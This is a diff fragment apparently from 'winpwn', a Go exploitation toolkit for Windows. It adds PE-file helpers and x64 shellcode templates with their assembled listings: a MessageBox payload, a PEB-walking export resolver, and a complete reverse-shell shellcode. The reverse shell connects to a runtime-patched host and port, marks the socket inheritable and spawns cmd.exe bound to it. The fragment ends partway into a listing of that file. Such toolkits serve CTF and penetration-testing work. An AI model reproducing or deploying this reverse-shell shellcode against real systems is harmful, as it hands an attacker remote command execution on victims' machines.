|
||||
out[i] = p.wrapSection(sec)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Section looks up a single section by name (e.g. ".text").
|
||||
func (p *PEFile) Section(name string) (*Section, error) {
|
||||
for _, sec := range p.File.Sections {
|
||||
if sec.Name == name {
|
||||
return p.wrapSection(sec), nil
|
||||
}
|
||||
}
|
||||
return nil, errors.New("section not found: " + name)
|
||||
}
|
||||
|
||||
func (p *PEFile) wrapSection(sec *pe.Section) *Section {
|
||||
s := &Section{Section: sec}
|
||||
if p.live {
|
||||
s.live = p.r
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// LikelyPackedSections returns sections whose entropy exceeds threshold
|
||||
// (0 selects the common UPX-style default of 7.2 bits/byte), the quick
|
||||
// "is this binary packed" check pwntools has no direct analogue for since
|
||||
// ELF packers are rarer in CTF practice than UPX-on-Windows.
|
||||
func (p *PEFile) LikelyPackedSections(threshold float64) ([]*Section, error) {
|
||||
if threshold <= 0 {
|
||||
threshold = 7.2
|
||||
}
|
||||
var hits []*Section
|
||||
for _, sec := range p.Sections() {
|
||||
if sec.Size == 0 {
|
||||
continue
|
||||
}
|
||||
entropy, err := sec.Entropy()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if entropy >= threshold {
|
||||
hits = append(hits, sec)
|
||||
}
|
||||
}
|
||||
return hits, nil
|
||||
}
|
||||
|
||||
// SearchBytes ищет последовательность байт во всех секциях PE-файла
|
||||
// Возвращает массив RVA (Relative Virtual Address) всех совпадений
|
||||
func (p *PEFile) SearchBytes(pattern []byte) ([]uint64, error) {
|
||||
var results []uint64
|
||||
|
||||
for _, sec := range p.Sections() {
|
||||
// Читаем сырые данные секции (live-aware: see Section.Data)
|
||||
data, err := sec.Data()
|
||||
if err != nil {
|
||||
continue // Если секция пустая (например .bss), пропускаем
|
||||
}
|
||||
|
||||
offset := 0
|
||||
for {
|
||||
// Ищем паттерн в оставшейся части данных
|
||||
idx := bytes.Index(data[offset:], pattern)
|
||||
if idx == -1 {
|
||||
break
|
||||
}
|
||||
|
||||
// Вычисляем RVA: виртуальный адрес секции + смещение внутри секции
|
||||
rva := sec.VirtualAddress + uint32(offset+idx)
|
||||
results = append(results, uint64(rva))
|
||||
|
||||
// Сдвигаем offset, чтобы продолжить поиск после текущего совпадения
|
||||
offset += idx + 1
|
||||
}
|
||||
}
|
||||
|
||||
if len(results) == 0 {
|
||||
return nil, errors.New("pattern not found in PE file")
|
||||
}
|
||||
|
||||
return results, nil
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
; messagebox_x64.asm — position-independent x64 shellcode: resolve
|
||||
; user32.dll!MessageBoxA via LoadLibraryA (user32.dll isn't guaranteed
|
||||
; loaded in a plain console process, unlike kernel32) and pop a real
|
||||
; message box. Returns normally (ret) once the user dismisses it, so the
|
||||
; host thread keeps running afterward.
|
||||
;
|
||||
; text_buf/caption_buf are fixed-size placeholders at the very end of the
|
||||
; assembled blob; winpwn patches them at runtime with the actual
|
||||
; NUL-terminated strings (see shellcraft.go).
|
||||
BITS 64
|
||||
default rel
|
||||
|
||||
start:
|
||||
push rbp
|
||||
push r12
|
||||
mov rbp, rsp
|
||||
and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
|
||||
|
||||
call get_kernel32_base
|
||||
mov rcx, rax
|
||||
lea rdx, [rel name_user32]
|
||||
lea r8, [rel name_messageboxa]
|
||||
call resolve_export
|
||||
mov r12, rax ; r12 = MessageBoxA address
|
||||
|
||||
xor rcx, rcx ; hWnd = NULL
|
||||
lea rdx, [rel text_buf] ; lpText
|
||||
lea r8, [rel caption_buf] ; lpCaption
|
||||
xor r9, r9 ; uType = MB_OK
|
||||
sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
call r12
|
||||
add rsp, 0x20
|
||||
|
||||
mov rsp, rbp
|
||||
pop r12
|
||||
pop rbp
|
||||
ret
|
||||
|
||||
%include "resolver.inc"
|
||||
|
||||
name_user32: db "user32.dll", 0
|
||||
name_messageboxa: db "MessageBoxA", 0
|
||||
|
||||
align 8
|
||||
text_buf:
|
||||
times 256 db 0
|
||||
|
||||
align 8
|
||||
caption_buf:
|
||||
times 64 db 0
|
||||
Binary file not shown.
@@ -0,0 +1,218 @@
|
||||
1 ; messagebox_x64.asm — position-independent x64 shellcode: resolve
|
||||
2 ; user32.dll!MessageBoxA via LoadLibraryA (user32.dll isn't guaranteed
|
||||
3 ; loaded in a plain console process, unlike kernel32) and pop a real
|
||||
4 ; message box. Returns normally (ret) once the user dismisses it, so the
|
||||
5 ; host thread keeps running afterward.
|
||||
6 ;
|
||||
7 ; text_buf/caption_buf are fixed-size placeholders at the very end of the
|
||||
8 ; assembled blob; winpwn patches them at runtime with the actual
|
||||
9 ; NUL-terminated strings (see shellcraft.go).
|
||||
10 BITS 64
|
||||
11 default rel
|
||||
12
|
||||
13 start:
|
||||
14 00000000 55 push rbp
|
||||
15 00000001 4154 push r12
|
||||
16 00000003 4889E5 mov rbp, rsp
|
||||
17 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
|
||||
18
|
||||
19 0000000A E83F000000 call get_kernel32_base
|
||||
20 0000000F 4889C1 mov rcx, rax
|
||||
21 00000012 488D1551010000 lea rdx, [rel name_user32]
|
||||
22 00000019 4C8D0555010000 lea r8, [rel name_messageboxa]
|
||||
23 00000020 E8CE000000 call resolve_export
|
||||
24 00000025 4989C4 mov r12, rax ; r12 = MessageBoxA address
|
||||
25
|
||||
26 00000028 4831C9 xor rcx, rcx ; hWnd = NULL
|
||||
27 0000002B 488D1556010000 lea rdx, [rel text_buf] ; lpText
|
||||
28 00000032 4C8D054F020000 lea r8, [rel caption_buf] ; lpCaption
|
||||
29 00000039 4D31C9 xor r9, r9 ; uType = MB_OK
|
||||
30 0000003C 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
31 00000040 41FFD4 call r12
|
||||
32 00000043 4883C420 add rsp, 0x20
|
||||
33
|
||||
34 00000047 4889EC mov rsp, rbp
|
||||
35 0000004A 415C pop r12
|
||||
36 0000004C 5D pop rbp
|
||||
37 0000004D C3 ret
|
||||
38
|
||||
39 %include "resolver.inc"
|
||||
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
|
||||
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
|
||||
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
|
||||
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
|
||||
5 <1> ; one-shot resolutions).
|
||||
6 <1> ;
|
||||
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
|
||||
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
|
||||
9 <1> ; non-volatile register they touch, so callers can keep values live in
|
||||
10 <1> ; r12-r15 across calls to either of these.
|
||||
11 <1>
|
||||
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
|
||||
13 <1> ;
|
||||
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
|
||||
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
|
||||
16 <1> ; fixed load order is the same trick essentially every public Windows x64
|
||||
17 <1> ; shellcode relies on.
|
||||
18 <1> get_kernel32_base:
|
||||
19 0000004E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
|
||||
20 00000057 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
|
||||
21 0000005B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
|
||||
22 0000005F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
|
||||
23 00000062 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
|
||||
24 00000065 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
|
||||
25 00000069 C3 <1> ret
|
||||
26 <1>
|
||||
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
|
||||
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
|
||||
29 <1> ;
|
||||
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
|
||||
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
|
||||
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
|
||||
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
|
||||
34 <1> find_export:
|
||||
35 0000006A 4154 <1> push r12
|
||||
36 0000006C 4155 <1> push r13
|
||||
37 0000006E 4156 <1> push r14
|
||||
38 00000070 4157 <1> push r15
|
||||
39 00000072 56 <1> push rsi
|
||||
40 00000073 57 <1> push rdi
|
||||
41 00000074 53 <1> push rbx
|
||||
42 <1>
|
||||
43 00000075 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
|
||||
44 00000078 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
|
||||
45 <1>
|
||||
46 0000007B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
|
||||
47 00000080 4C01E0 <1> add rax, r12 ; rax = NT header VA
|
||||
48 00000083 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
|
||||
49 00000089 4C01E0 <1> add rax, r12
|
||||
50 0000008C 4989C6 <1> mov r14, rax ; r14 = export directory VA
|
||||
51 <1>
|
||||
52 0000008F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
|
||||
53 00000093 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
|
||||
54 00000097 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
|
||||
55 0000009A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
|
||||
56 0000009E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
|
||||
57 000000A1 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
|
||||
58 000000A5 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
|
||||
59 <1>
|
||||
60 000000A8 4D31FF <1> xor r15, r15 ; r15 = loop index i
|
||||
61 <1>
|
||||
62 <1> .loop:
|
||||
63 000000AB 4939DF <1> cmp r15, rbx
|
||||
64 000000AE 7D34 <1> jge .notfound
|
||||
65 <1>
|
||||
66 000000B0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
|
||||
67 000000B4 4C01E0 <1> add rax, r12
|
||||
68 000000B7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
|
||||
69 000000BA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
|
||||
70 <1>
|
||||
71 <1> .cmp_loop:
|
||||
72 000000BD 8A06 <1> mov al, [rsi]
|
||||
73 000000BF 8A0F <1> mov cl, [rdi]
|
||||
74 000000C1 38C8 <1> cmp al, cl
|
||||
75 000000C3 750C <1> jne .next
|
||||
76 000000C5 84C0 <1> test al, al
|
||||
77 000000C7 740D <1> je .found ; both hit NUL with every byte equal -> match
|
||||
78 000000C9 48FFC6 <1> inc rsi
|
||||
79 000000CC 48FFC7 <1> inc rdi
|
||||
80 000000CF EBEC <1> jmp .cmp_loop
|
||||
81 <1>
|
||||
82 <1> .next:
|
||||
83 000000D1 49FFC7 <1> inc r15
|
||||
84 000000D4 EBD5 <1> jmp .loop
|
||||
85 <1>
|
||||
86 <1> .found:
|
||||
87 000000D6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
|
||||
88 000000DB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
|
||||
89 000000DF 4C01E0 <1> add rax, r12 ; absolute address
|
||||
90 000000E2 EB03 <1> jmp .done
|
||||
91 <1>
|
||||
92 <1> .notfound:
|
||||
93 000000E4 4831C0 <1> xor rax, rax
|
||||
94 <1>
|
||||
95 <1> .done:
|
||||
96 000000E7 5B <1> pop rbx
|
||||
97 000000E8 5F <1> pop rdi
|
||||
98 000000E9 5E <1> pop rsi
|
||||
99 000000EA 415F <1> pop r15
|
||||
100 000000EC 415E <1> pop r14
|
||||
101 000000EE 415D <1> pop r13
|
||||
102 000000F0 415C <1> pop r12
|
||||
103 000000F2 C3 <1> ret
|
||||
104 <1>
|
||||
105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
|
||||
106 <1> ; -> RAX = absolute address of the export, or 0 on any failure.
|
||||
107 <1> ;
|
||||
108 <1> ; find_export alone only works if the target module is *already* loaded
|
||||
109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
|
||||
110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export
|
||||
111 <1> ; (the function is assumed already loaded at the module base in RCX).
|
||||
112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
|
||||
113 <1> ; (itself just another find_export call) and called to load-or-fetch the
|
||||
114 <1> ; named module, then find_export resolves R8 inside *that* module's base.
|
||||
115 <1> resolve_export:
|
||||
116 000000F3 4154 <1> push r12 ; kernel32 base
|
||||
117 000000F5 4155 <1> push r13 ; dll name ptr (or 0)
|
||||
118 000000F7 4156 <1> push r14 ; func name ptr
|
||||
119 000000F9 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
|
||||
120 000000FA 4889E5 <1> mov rbp, rsp
|
||||
121 000000FD 4883E4F0 <1> and rsp, ~0xF
|
||||
122 <1>
|
||||
123 00000101 4989CC <1> mov r12, rcx
|
||||
124 00000104 4989D5 <1> mov r13, rdx
|
||||
125 00000107 4D89C6 <1> mov r14, r8
|
||||
126 <1>
|
||||
127 0000010A 4D85ED <1> test r13, r13
|
||||
128 0000010D 750D <1> jnz .need_loadlibrary
|
||||
129 <1>
|
||||
130 0000010F 4C89E1 <1> mov rcx, r12
|
||||
131 00000112 4C89F2 <1> mov rdx, r14
|
||||
132 00000115 E850FFFFFF <1> call find_export
|
||||
133 0000011A EB36 <1> jmp .resolve_done
|
||||
134 <1>
|
||||
135 <1> .need_loadlibrary:
|
||||
136 0000011C 4C89E1 <1> mov rcx, r12
|
||||
137 0000011F 488D1537000000 <1> lea rdx, [rel name_loadlibrarya]
|
||||
138 00000126 E83FFFFFFF <1> call find_export
|
||||
139 0000012B 4885C0 <1> test rax, rax
|
||||
140 0000012E 741F <1> jz .resolve_fail
|
||||
141 <1>
|
||||
142 00000130 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName)
|
||||
143 00000133 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
144 00000137 FFD0 <1> call rax
|
||||
145 00000139 4883C420 <1> add rsp, 0x20
|
||||
146 0000013D 4885C0 <1> test rax, rax
|
||||
147 00000140 740D <1> jz .resolve_fail
|
||||
148 <1>
|
||||
149 00000142 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base
|
||||
150 00000145 4C89F2 <1> mov rdx, r14
|
||||
151 00000148 E81DFFFFFF <1> call find_export
|
||||
152 0000014D EB03 <1> jmp .resolve_done
|
||||
153 <1>
|
||||
154 <1> .resolve_fail:
|
||||
155 0000014F 4831C0 <1> xor rax, rax
|
||||
156 <1>
|
||||
157 <1> .resolve_done:
|
||||
158 00000152 4889EC <1> mov rsp, rbp
|
||||
159 00000155 5D <1> pop rbp
|
||||
160 00000156 415E <1> pop r14
|
||||
161 00000158 415D <1> pop r13
|
||||
162 0000015A 415C <1> pop r12
|
||||
163 0000015C C3 <1> ret
|
||||
164 <1>
|
||||
165 0000015D 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0
|
||||
165 00000166 72794100 <1>
|
||||
40
|
||||
41 0000016A 7573657233322E646C- name_user32: db "user32.dll", 0
|
||||
41 00000173 6C00
|
||||
42 00000175 4D657373616765426F- name_messageboxa: db "MessageBoxA", 0
|
||||
42 0000017E 784100
|
||||
43
|
||||
44 00000181 90<rep 7h> align 8
|
||||
45 text_buf:
|
||||
46 00000188 00<rep 100h> times 256 db 0
|
||||
47
|
||||
48 align 8
|
||||
49 caption_buf:
|
||||
50 00000288 00<rep 40h> times 64 db 0
|
||||
@@ -0,0 +1,165 @@
|
||||
; resolver.inc — shared x64 position-independent building blocks for winpwn
|
||||
; shellcraft templates: find kernel32's base via the PEB (no hardcoded
|
||||
; addresses) and resolve any export by name (no hashing, just a linear
|
||||
; name-table scan — simple, auditable, and plenty fast for a handful of
|
||||
; one-shot resolutions).
|
||||
;
|
||||
; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
|
||||
; args in RCX/RDX, result in RAX. Both routines preserve every
|
||||
; non-volatile register they touch, so callers can keep values live in
|
||||
; r12-r15 across calls to either of these.
|
||||
|
||||
; get_kernel32_base() -> RAX = kernel32.dll base address
|
||||
;
|
||||
; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
|
||||
; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
|
||||
; fixed load order is the same trick essentially every public Windows x64
|
||||
; shellcode relies on.
|
||||
get_kernel32_base:
|
||||
mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
|
||||
mov rax, [rax+0x18] ; PEB->Ldr
|
||||
mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
|
||||
mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
|
||||
mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
|
||||
mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
|
||||
ret
|
||||
|
||||
; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
|
||||
; -> RAX = absolute address of the export, or 0 if not found.
|
||||
;
|
||||
; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
|
||||
; entry against the target string, then follows AddressOfNameOrdinals and
|
||||
; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
|
||||
; DataDirectory[0] (export table) offset for PE32+.
|
||||
find_export:
|
||||
push r12
|
||||
push r13
|
||||
push r14
|
||||
push r15
|
||||
push rsi
|
||||
push rdi
|
||||
push rbx
|
||||
|
||||
mov r12, rcx ; r12 = module base (preserved for the whole routine)
|
||||
mov r13, rdx ; r13 = target name pointer (preserved)
|
||||
|
||||
mov eax, [r12+0x3C] ; e_lfanew
|
||||
add rax, r12 ; rax = NT header VA
|
||||
mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
|
||||
add rax, r12
|
||||
mov r14, rax ; r14 = export directory VA
|
||||
|
||||
mov ebx, [r14+0x18] ; ebx = NumberOfNames
|
||||
mov r9d, [r14+0x20] ; AddressOfNames RVA
|
||||
add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
|
||||
mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
|
||||
add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
|
||||
mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
|
||||
add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
|
||||
|
||||
xor r15, r15 ; r15 = loop index i
|
||||
|
||||
.loop:
|
||||
cmp r15, rbx
|
||||
jge .notfound
|
||||
|
||||
mov eax, [r9 + r15*4] ; nameRVA for entry i
|
||||
add rax, r12
|
||||
mov rsi, rax ; rsi = candidate name VA
|
||||
mov rdi, r13 ; rdi = target name VA (reset every attempt)
|
||||
|
||||
.cmp_loop:
|
||||
mov al, [rsi]
|
||||
mov cl, [rdi]
|
||||
cmp al, cl
|
||||
jne .next
|
||||
test al, al
|
||||
je .found ; both hit NUL with every byte equal -> match
|
||||
inc rsi
|
||||
inc rdi
|
||||
jmp .cmp_loop
|
||||
|
||||
.next:
|
||||
inc r15
|
||||
jmp .loop
|
||||
|
||||
.found:
|
||||
movzx rax, word [r10 + r15*2] ; ordinal index for entry i
|
||||
mov eax, [r11 + rax*4] ; function RVA
|
||||
add rax, r12 ; absolute address
|
||||
jmp .done
|
||||
|
||||
.notfound:
|
||||
xor rax, rax
|
||||
|
||||
.done:
|
||||
pop rbx
|
||||
pop rdi
|
||||
pop rsi
|
||||
pop r15
|
||||
pop r14
|
||||
pop r13
|
||||
pop r12
|
||||
ret
|
||||
|
||||
; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
|
||||
; -> RAX = absolute address of the export, or 0 on any failure.
|
||||
;
|
||||
; find_export alone only works if the target module is *already* loaded
|
||||
; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
|
||||
; in a plain console process. When RDX is 0 this is exactly find_export
|
||||
; (the function is assumed already loaded at the module base in RCX).
|
||||
; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
|
||||
; (itself just another find_export call) and called to load-or-fetch the
|
||||
; named module, then find_export resolves R8 inside *that* module's base.
|
||||
resolve_export:
|
||||
push r12 ; kernel32 base
|
||||
push r13 ; dll name ptr (or 0)
|
||||
push r14 ; func name ptr
|
||||
push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
|
||||
mov rbp, rsp
|
||||
and rsp, ~0xF
|
||||
|
||||
mov r12, rcx
|
||||
mov r13, rdx
|
||||
mov r14, r8
|
||||
|
||||
test r13, r13
|
||||
jnz .need_loadlibrary
|
||||
|
||||
mov rcx, r12
|
||||
mov rdx, r14
|
||||
call find_export
|
||||
jmp .resolve_done
|
||||
|
||||
.need_loadlibrary:
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_loadlibrarya]
|
||||
call find_export
|
||||
test rax, rax
|
||||
jz .resolve_fail
|
||||
|
||||
mov rcx, r13 ; LoadLibraryA(lpLibFileName)
|
||||
sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
test rax, rax
|
||||
jz .resolve_fail
|
||||
|
||||
mov rcx, rax ; the newly (or already) loaded module's base
|
||||
mov rdx, r14
|
||||
call find_export
|
||||
jmp .resolve_done
|
||||
|
||||
.resolve_fail:
|
||||
xor rax, rax
|
||||
|
||||
.resolve_done:
|
||||
mov rsp, rbp
|
||||
pop rbp
|
||||
pop r14
|
||||
pop r13
|
||||
pop r12
|
||||
ret
|
||||
|
||||
name_loadlibrarya: db "LoadLibraryA", 0
|
||||
@@ -0,0 +1,157 @@
|
||||
; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
|
||||
; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
|
||||
; redirected to the socket. The classic Windows reverse-shell primitive.
|
||||
;
|
||||
; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
|
||||
; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
|
||||
; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
|
||||
; constants since they never change.
|
||||
;
|
||||
; Real gotcha, worth recording here since it's easy to miss and the
|
||||
; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
|
||||
; error anywhere) gives no hint why: socket() handles are NOT inheritable
|
||||
; by default on modern Windows (a hardening change from the days when
|
||||
; every handle was inheritable by default). bInheritHandles=TRUE on
|
||||
; CreateProcessA alone is not enough -- SetHandleInformation must mark the
|
||||
; specific socket handle as inheritable first, or the child simply doesn't
|
||||
; get a usable copy of it no matter what STARTUPINFOA says.
|
||||
BITS 64
|
||||
default rel
|
||||
|
||||
start:
|
||||
push rbp
|
||||
push r12
|
||||
push r13
|
||||
mov rbp, rsp
|
||||
and rsp, ~0xF
|
||||
|
||||
call get_kernel32_base
|
||||
mov r12, rax ; r12 = kernel32 base, kept for the whole routine
|
||||
|
||||
; WSAStartup(0x0202, &wsadata_buf)
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_ws2_32]
|
||||
lea r8, [rel name_wsastartup]
|
||||
call resolve_export
|
||||
mov rcx, 0x0202
|
||||
lea rdx, [rel wsadata_buf]
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
|
||||
; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_ws2_32]
|
||||
lea r8, [rel name_socket]
|
||||
call resolve_export
|
||||
mov rcx, 2
|
||||
mov rdx, 1
|
||||
mov r8, 6
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
mov r13, rax
|
||||
|
||||
; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
|
||||
; -- see the file header: without this, the child below can't actually
|
||||
; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
|
||||
mov rcx, r12
|
||||
xor rdx, rdx
|
||||
lea r8, [rel name_sethandleinformation]
|
||||
call resolve_export
|
||||
mov rcx, r13
|
||||
mov rdx, 1
|
||||
mov r8, 1
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
|
||||
; connect(sockfd, &sockaddr_buf, 16)
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_ws2_32]
|
||||
lea r8, [rel name_connect]
|
||||
call resolve_export
|
||||
mov rcx, r13
|
||||
lea rdx, [rel sockaddr_buf]
|
||||
mov r8, 16
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
|
||||
; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
|
||||
; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
|
||||
; CreateProcessA's own shadow space + its 6 stack-passed arguments.
|
||||
sub rsp, 0xE0
|
||||
|
||||
mov qword [rsp+0x50], 0
|
||||
mov qword [rsp+0x58], 0
|
||||
mov qword [rsp+0x60], 0
|
||||
mov qword [rsp+0x68], 0
|
||||
mov qword [rsp+0x70], 0
|
||||
mov qword [rsp+0x78], 0
|
||||
mov qword [rsp+0x80], 0
|
||||
mov qword [rsp+0x88], 0
|
||||
mov qword [rsp+0x90], 0
|
||||
mov qword [rsp+0x98], 0
|
||||
mov qword [rsp+0xA0], 0
|
||||
mov qword [rsp+0xA8], 0
|
||||
mov qword [rsp+0xB0], 0
|
||||
|
||||
mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb
|
||||
mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
|
||||
mov [rsp+0xA0], r13 ; .hStdInput (offset 80)
|
||||
mov [rsp+0xA8], r13 ; .hStdOutput (offset 88)
|
||||
mov [rsp+0xB0], r13 ; .hStdError (offset 96)
|
||||
|
||||
; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
|
||||
mov rcx, r12
|
||||
xor rdx, rdx
|
||||
lea r8, [rel name_createprocessa]
|
||||
call resolve_export
|
||||
mov r14, rax
|
||||
|
||||
xor rcx, rcx ; lpApplicationName = NULL
|
||||
lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe"
|
||||
xor r8, r8 ; lpProcessAttributes = NULL
|
||||
xor r9, r9 ; lpThreadAttributes = NULL
|
||||
mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE
|
||||
mov qword [rsp+0x28], 0 ; dwCreationFlags = 0
|
||||
mov qword [rsp+0x30], 0 ; lpEnvironment = NULL
|
||||
mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL
|
||||
lea rax, [rsp+0x50]
|
||||
mov qword [rsp+0x40], rax ; lpStartupInfo = &si
|
||||
lea rax, [rsp+0xB8]
|
||||
mov qword [rsp+0x48], rax ; lpProcessInformation = &pi
|
||||
call r14
|
||||
|
||||
add rsp, 0xE0
|
||||
mov rsp, rbp
|
||||
pop r13
|
||||
pop r12
|
||||
pop rbp
|
||||
ret
|
||||
|
||||
%include "resolver.inc"
|
||||
|
||||
name_ws2_32: db "ws2_32.dll", 0
|
||||
name_wsastartup: db "WSAStartup", 0
|
||||
name_socket: db "socket", 0
|
||||
name_connect: db "connect", 0
|
||||
name_sethandleinformation: db "SetHandleInformation", 0
|
||||
name_createprocessa: db "CreateProcessA", 0
|
||||
|
||||
; lpCommandLine must point at writable memory (CreateProcessA may modify
|
||||
; it in place) -- fine here since shellcode bytes live in a writable page
|
||||
; wherever they landed, same as every other template's embedded buffers.
|
||||
cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
|
||||
|
||||
align 8
|
||||
wsadata_buf:
|
||||
times 512 db 0
|
||||
|
||||
align 8
|
||||
sockaddr_buf:
|
||||
dw 2 ; sin_family = AF_INET
|
||||
dw 0 ; sin_port, patched at runtime (network byte order)
|
||||
dd 0 ; sin_addr, patched at runtime (network byte order)
|
||||
dq 0 ; sin_zero[8]
|
||||
Binary file not shown.
@@ -0,0 +1,337 @@
|
||||
1 ; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
|
||||
2 ; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
|
||||
3 ; redirected to the socket. The classic Windows reverse-shell primitive.
|
||||
4 ;
|
||||
5 ; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
|
||||
6 ; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
|
||||
7 ; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
|
||||
8 ; constants since they never change.
|
||||
9 ;
|
||||
